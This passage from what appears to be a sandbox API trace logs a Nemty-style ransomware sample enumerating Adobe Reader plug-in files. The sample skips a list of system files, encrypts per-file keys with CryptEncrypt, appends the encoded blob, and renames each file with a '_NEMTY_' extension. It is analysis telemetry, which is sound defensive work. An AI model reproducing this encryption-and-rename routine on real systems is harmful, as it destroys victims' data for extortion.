lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.344] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Mcimpp.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\mcimpp.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Mcimpp.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\mcimpp.sky._nemty_kgobjgd_")) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.345] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.SKY", cAlternateFileName="QUICKT~1.SKY")) returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2=".") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="..") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="...") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="windows") returned -1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="$RECYCLE.BIN") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="rsa") returned -1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="NTDETECT.COM") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="ntldr") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="MSDOS.SYS") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="IO.SYS") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="boot.ini") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="boot.ini") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="ntuser.dat") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="desktop.ini") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="CONFIG.SYS") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="RECYCLER") returned -1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="BOOTSECT.BAK") returned 1 [0192.345] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="bootmgr") returned 1 [0192.346] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="programdata") returned 1 [0192.346] lstrcmpiW (lpString1="QuickTime.SKY", lpString2="appdata") returned 1 [0192.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SKY", lpUsedDefaultChar=0x0) returned 13 [0192.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SKY", lpUsedDefaultChar=0x0) returned 13 [0192.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SKY", lpUsedDefaultChar=0x0) returned 13 [0192.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SKY", lpUsedDefaultChar=0x0) returned 13 [0192.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.346] Sleep (dwMilliseconds=0x5) [0192.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x264d9fd0, dwHighDateTime=0x1d561e8)) [0192.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x264d9fd0, dwHighDateTime=0x1d561e8)) [0192.361] GetLastError () returned 0x0 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.362] GetLastError () returned 0x0 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.362] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.362] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="vTBIUdqQuJ4OlnKMTUntmISIQwjjJxYSa8Iy9D4JM1oz7Ng+vJO6Srm5vriHrDq1\r\ngehcDglJdCmrNyNa//2A3i/+B8E9d2E3cfx3cM/UPztrpT/dvnAa2Hmj6hW0NGFf\r\n92F88gHb1IVXewuaTIjXUiFzZ122bkWjW67TfINjd03e5klpJXrjB9JHQOIuAlwW\r\nC+AJOnz//u/v/4ZSYb4Lr5Bv8MsX1bKH3P7HV/SSgeLtyfTeJDqvLdARUifV1WD0\r\nIr12ktJeQNadPxsi8K5nDH4wLrh8FCVIqzd9q1Q3rTgTkmEwYueu0PZ14S1JbVgo\r\nGIP4O6n9mwJkOQdbkU77Dw==\r\n", pcchString=0x653e29c) returned 1 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\QuickTime.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\quicktime.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.363] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.363] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.363] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.364] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.364] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.365] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.365] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.365] CloseHandle (hObject=0x2f0) returned 1 [0192.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.365] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\QuickTime.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\quicktime.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\QuickTime.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\quicktime.sky._nemty_kgobjgd_")) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.366] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.SKY", cAlternateFileName="WINDOW~1.SKY")) returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2=".") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="..") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="...") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="windows") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="$RECYCLE.BIN") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="rsa") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="NTDETECT.COM") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="ntldr") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="MSDOS.SYS") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="IO.SYS") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="boot.ini") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="boot.ini") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="ntuser.dat") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="desktop.ini") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="CONFIG.SYS") returned 1 [0192.366] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="RECYCLER") returned 1 [0192.367] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="BOOTSECT.BAK") returned 1 [0192.367] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="bootmgr") returned 1 [0192.367] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="programdata") returned 1 [0192.367] lstrcmpiW (lpString1="WindowsMedia.SKY", lpString2="appdata") returned 1 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SKY", lpUsedDefaultChar=0x0) returned 16 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SKY", lpUsedDefaultChar=0x0) returned 16 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SKY", lpUsedDefaultChar=0x0) returned 16 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SKY", lpUsedDefaultChar=0x0) returned 16 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.367] Sleep (dwMilliseconds=0x5) [0192.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26500130, dwHighDateTime=0x1d561e8)) [0192.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26500130, dwHighDateTime=0x1d561e8)) [0192.377] GetLastError () returned 0x0 [0192.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.377] GetLastError () returned 0x0 [0192.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.377] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.377] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.377] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.377] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="P8v1w9PFEwvhrYY30V2MmLVZz1ppUKsLGeUGFhgGjkcspdeTVhfmfePrfBp2DJvq\r\n2EogL08f5fXezl70+gIy78D0QrXnF1VVRBYwaCW+rRnaMwhFLi3TEtvBKd6kh8Wb\r\nzzLafytRpFvzvC084fUHUevzyV9hODWraZpMby+EA9Y2jeYqxdhDr/ei0dzHPCVg\r\nkPDCh5ThWsW/wuncm28v8HsSAjzwVpIvudiAaBog4cF1apol7nR+YA0tFObJZkQW\r\nTlyO2pl1AadIsjkWnRTO+CUaZIz6C/httA5CWbE49HYYGZZGPwwNdE1B3JZwzdic\r\n2CUrWhvdX4NHKj8o+1V1AQ==\r\n", pcchString=0x653e29c) returned 1 [0192.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\WindowsMedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 